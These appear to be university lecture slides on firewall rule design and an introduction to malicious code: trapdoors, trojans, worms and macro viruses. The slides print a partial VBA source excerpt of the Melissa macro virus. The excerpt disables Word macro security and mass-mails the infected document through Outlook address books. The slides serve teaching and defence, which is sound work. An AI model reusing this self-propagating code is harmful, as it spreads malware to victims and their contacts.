Plan for today

• Finish overview of Firewalls
• Start talking about Worms & Viruses
When to Filter?

Router

Inside

Outside
On Input or Output

• Filtering on *output* can be more efficient since it can be combined with table lookup of the route.

• However, some information is lost at the output stage
  – e.g. the physical input port on which the packet arrived.
  – Can be useful information to prevent address spoofing.

• Filtering on *input* can protect the router itself.
## Recommend: Filter ASAP

<table>
<thead>
<tr>
<th>Action</th>
<th>src</th>
<th>port</th>
<th>dest</th>
<th>port</th>
<th>comment</th>
</tr>
</thead>
<tbody>
<tr>
<td>block</td>
<td>BAD</td>
<td>*</td>
<td>*</td>
<td>*</td>
<td>we don’t trust them</td>
</tr>
<tr>
<td>allow</td>
<td>*</td>
<td>*</td>
<td>GW</td>
<td>25</td>
<td>connect to our SMTP</td>
</tr>
<tr>
<td>allow</td>
<td>GW</td>
<td>25</td>
<td>*</td>
<td>*</td>
<td>our reply packets</td>
</tr>
</tbody>
</table>

Is preferred over:

<table>
<thead>
<tr>
<th>Action</th>
<th>src</th>
<th>port</th>
<th>dest</th>
<th>port</th>
<th>comment</th>
</tr>
</thead>
<tbody>
<tr>
<td>block</td>
<td>*</td>
<td>*</td>
<td>BAD</td>
<td>*</td>
<td>subtle difference</td>
</tr>
<tr>
<td>allow</td>
<td>*</td>
<td>*</td>
<td>GW</td>
<td>25</td>
<td>connect to our SMTP</td>
</tr>
<tr>
<td>allow</td>
<td>GW</td>
<td>25</td>
<td>*</td>
<td>*</td>
<td>our reply packets</td>
</tr>
</tbody>
</table>
Example of a Pitfall

- Filter output to allow incoming and outgoing mail, but prohibit all else.

<table>
<thead>
<tr>
<th>Action</th>
<th>dest</th>
<th>port</th>
<th>comment</th>
</tr>
</thead>
<tbody>
<tr>
<td>allow</td>
<td>*</td>
<td>25</td>
<td>incoming mail</td>
</tr>
<tr>
<td>allow</td>
<td>*</td>
<td>&gt;= 1024</td>
<td>outgoing responses</td>
</tr>
<tr>
<td>block</td>
<td>*</td>
<td>*</td>
<td>nothing else</td>
</tr>
</tbody>
</table>

- Apply this output filter set to both interfaces of the router. Does it work?

- Unintended consequence: allows all communication on high numbered ports!
Another problem with Filtering

- **Handling IP Fragments**
  - Possible for ACK and SYN flag bits in a TCP packet could end up in a different IP fragment than the port number
  - There are malicious tools that intentionally break up traffic in this way
  - Fix: Problem is "tiny" initial IP fragment, so require that initial IP fragment be > 16 bytes (or better yet, large enough for whole TCP header).
Proxy-based Firewalls

- Proxy acts like both a client and a server.
- Able to filter using application-level info
  - For example, permit some URLs to be visible outside and prevent others from being visible.
- Proxies can provide other services too
  - Caching, load balancing, etc.
  - FTP and Telnet proxies are common too
- Related to Network Intrusion Detection Systems (NIDS) -- more soon
Example “real” firewall config script

####################################################
# FreeBSD Firewall configuration.
# Single-machine custom firewall setup. Protects somewhat
# against the outside world.
####################################################

# Set this to your ip address.
ip="192.100.666.1"
setup_loopback

# Allow anything outbound from this address.
$fwcmd add allow all from $ip to any out

# Deny anything outbound from other addresses.
$fwcmd add deny log all from any to any out

# Allow inbound ftp, ssh, email, tcp-dns, http, https, imap, imaps,
# pop3, pop3s.
$fwcmd add allow tcp from any to $ip 21 setup
$fwcmd add allow tcp from any to $ip 22 setup
$fwcmd add allow tcp from any to $ip 25 setup
$fwcmd add allow tcp from any to $ip 53 setup
$fwcmd add allow tcp from any to $ip 80 setup
$fwcmd add allow tcp from any to $ip 443 setup
...

...
Principles for Firewall Configuration

• Least Privileges:
  – Turn off everything that is unnecessary (e.g. Web Servers should disable SMTP port 25)

• Failsafe Defaults:
  – By default should reject
  – (Note that this could cause usability problems…)

• Egress Filtering:
  – Filter outgoing packets too!
  – You know the valid IP addresses for machines internal to the network, so drop those that aren’t valid.
  – This can help prevent DoS attacks in the Internet.
Benefits of Firewalls

• Increased security for internal hosts.
• Reduced amount of effort required to counter break ins.
• Possible added convenience of operation within firewall (with some risk).
• Reduced legal and other costs associated with hacker activities.

• We'll see that Proxy-based firewalls are useful for intrusion detection systems
Drawbacks of Firewalls

• Costs:
  – Hardware purchase and maintenance
  – Software development or purchase, and update costs
  – Administrative setup and training, and ongoing administrative costs and trouble-shooting
  – Lost business or inconvenience from broken gateway
  – Loss of some services that an open connection would supply.

• False sense of security
  – Firewalls don’t protect against viruses…
  – Can almost always "tunnel" one protocol on top of another: e.g. mail protocol on top of HTTP
Malicious Code

- Trapdoors (e.g. debugging modes)
- Trojan Horses  (e.g. Phishing, Web sites with exploits)
- Worms  (e.g. Slammer, Sasser, Code Red)
- Viruses  (e.g. Bagle MyDoom mail virus)

- The distinction between worms and viruses is somewhat fuzzy
Trapdoors

- A trapdoor is a secret entry point into a module
  - Affects a particular system

- Inserted during code development
  - Accidentally (forget to remove debugging code)
  - Intentionally (maintenance)
  - Maliciously (an insider creates a hole)
Trojan Horse

- A program that pretends to be do one thing when it does another
  - Or does more than advertised

- Login Prompts
  - Trusted path

- Accounting software

- Examples:
  - Game that doubles as a sshd process.
  - Phishing attacks (Spoofed e-mails/web sites)
Worms (In General)

• Self-contained running programs
  – Unlike viruses (although this distinction is mostly academic)

• Infection strategy more active
  – Exploit buffer overflows
  – Exploit bad password choice

• Defenses:
  – Filtering firewalls
  – Monitor system resources
  – Proper access control
Viruses

• A computer virus is a (malicious) program
  – Creates (possibly modified) copies of itself
  – Attaches to a host program or data
  – Often has other effects (deleting files, “jokes”, messages)

• Viruses cannot propagate without a “host”
  – Typically require some user action to activate
Virus/Worm Writer’s Goals

- Hard to detect
- Hard to destroy or deactivate
- Spreads infection widely/quickly
- Can reinfect a host
- Easy to create
- Machine/OS independent
Kinds of Viruses

- **Boot Sector Viruses**
  - Historically important, but less common today

- **Memory Resident Viruses**
  - Standard infected executable

- **Macro Viruses (probably most common today)**
  - Embedded in documents (like Word docs)
  - Macros are just programs
  - Word processors & Spreadsheets
    - Startup macro
    - Macros turned on by default
  - Visual Basic Script (VBScript)
Melissa Macro Virus

• Implementation
  – VBA (Visual Basic for Applications) code associated with the "document.open" method of Word

• Strategy
  – Email message containing an infected Word document as an attachment
  – Opening Word document triggers virus if macros are enabled
  – Under certain conditions included attached documents created by the victim
Melissa Macro Virus: Behavior

• Setup
  – lowers the macro security settings
  – permit all macros to run without warning
  – Checks registry for key value “… by Kwyjibo”
  – HKEY_Current_User\Software\Microsoft\Office\Melissa?

• Propagation
  – sends email message to the first 50 entries in every Microsoft Outlook MAPI address book readable by the user executing the macro
Melissa Macro Virus: Behavior

• Propagation Continued
  – Infects Normal.doc template file
  – Normal.doc is used by all Word documents

• “Joke”
  – If minute matches the day of the month, the macro inserts message “Twenty-two points, plus triple-word-score, plus fifty points for using all my letters. Game's over. I'm outta here.”
Private Sub Document_Open()
On Error Resume Next
If System.PrivateProfileString(″", "HKEY_CURRENT_USER\Software\Microsoft\Office\9.0\Word\Security", "Level") <> "" Then
    CommandBars("Macro").Controls("Security...").Enabled = False
    System.PrivateProfileString(″", "HKEY_CURRENT_USER\Software\Microsoft\Office\9.0\Word\Security", "Level") = 1 &
Else
    CommandBars("Tools").Controls("Macro").Enabled = False
    Options.SaveNormalPrompt = (1 - 1)
End If
Dim UngaDasOutlook, DasMapiName, BreakUmOffASlice
Set UngaDasOutlook = CreateObject("Outlook.Application")
Set DasMapiName = UngaDasOutlook.GetNamespace("MAPI")
If System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Office", "Melissa?") <> "... by Kwyjibo"
    Then
If UngaDasOutlook = "Outlook" Then
    DasMapiName.Logon "profile", "password"
    For y = 1 To DasMapiName.AddressLists.Count
        Set AddyBook = DasMapiName.AddressLists(y)
        x = 1
        Set BreakUmOffASlice = UngaDasOutlook.CreateItem(0)
        For oo = 1 To AddyBook.AddressEntries.Count
            Peep = AddyBook.AddressEntries(x)
            BreakUmOffASlice.Recipients.Add Peep
            x = x + 1
            If x > 50 Then oo = AddyBook.AddressEntries.Count
        Next oo
    BreakUmOffASlice.Subject = "Important Message From " & Application.UserName
    BreakUmOffASlice.Body = "Here is that document you asked for ... don't show anyone else ;-)"
    BreakUmOffASlice.Attachments.Add ActiveDocument.FullName
    BreakUmOffASlice.Send
    Peep = ""
    Next y
End If
DasMapiName.Logoff
Worm Research Sources

- "Inside the Slammer Worm"
  - Moore, Paxson, Savage, Shannon, Staniford, and Weaver
- "How to Own the Internet in Your Spare Time"
  - Staniford, Paxson, and Weaver
- "The Top Speed of Flash Worms"
  - Staniford, Moore, Paxson, and Weaver
- "Internet Quarantine: Requirements for Containing Self-Propagating Code"
  - Moore, Shannon, Voelker, and Savage
- "Automated Worm Fingerprinting"
  - Singh, Estan, Varghese, and Savage

- Links on the course web pages.